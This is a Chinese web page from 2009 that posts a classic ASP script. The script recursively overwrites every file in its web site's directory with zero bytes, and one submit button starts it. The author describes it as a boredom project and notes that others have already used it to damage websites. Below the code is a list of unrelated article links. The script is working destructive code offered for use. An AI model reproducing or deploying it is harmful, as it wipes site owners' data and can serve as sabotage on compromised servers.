自动清空站点目录下所有文件
时间:2009-06-24 11:11:00
作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自本站,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
标签:目录,文件,内容
0
投稿
猜你喜欢
python爬取微信公众号文章
2021-12-30 18:46:35
理解 javascript 中的函数表达式与函数声明
2024-04-23 09:08:26
SQLSERVER服务手工启动 批处理文件
2024-01-13 00:37:18
Ubuntu 16.04 LTS中源码安装Python 3.6.0的方法教程
2021-10-19 05:05:53
python 服务器批处理得到PSSM矩阵的问题
2021-05-19 12:21:13
如何拒绝同一张表单被多次提交?
2009-12-16 18:46:00
Bootstrap框架的学习教程详解(二)
2024-06-05 09:28:56
vue组件定义,全局、局部组件,配合模板及动态组件功能示例
2024-05-05 09:09:59
使用CSS3和RGBa创建超酷的按钮
2009-06-02 12:41:00
代码分析Python地图坐标转换
2022-01-15 19:50:48
MYSQL在一个字段值前面加字符串
2010-10-14 14:28:00
Python根据欧拉角求旋转矩阵的实例
2022-09-03 15:11:00
Python urlopen()函数 示例分享
2022-08-15 01:00:58
python日志记录模块实例及改进
2021-03-14 12:49:09
Python3 获取一大段文本之间两个关键字之间的内容方法
2022-01-17 15:03:31
Python利用Scrapy框架爬取豆瓣电影示例
2022-04-30 15:16:17
Python的pdfplumber库将pdf转为图片的实现
2021-08-31 20:43:27
JavaScript生成.xls文件的代码
2024-04-22 22:17:34
如何使用数组来显示下拉菜单?
2010-05-16 15:19:00
Windows下Anaconda的安装和简单使用方法
2022-04-21 16:46:50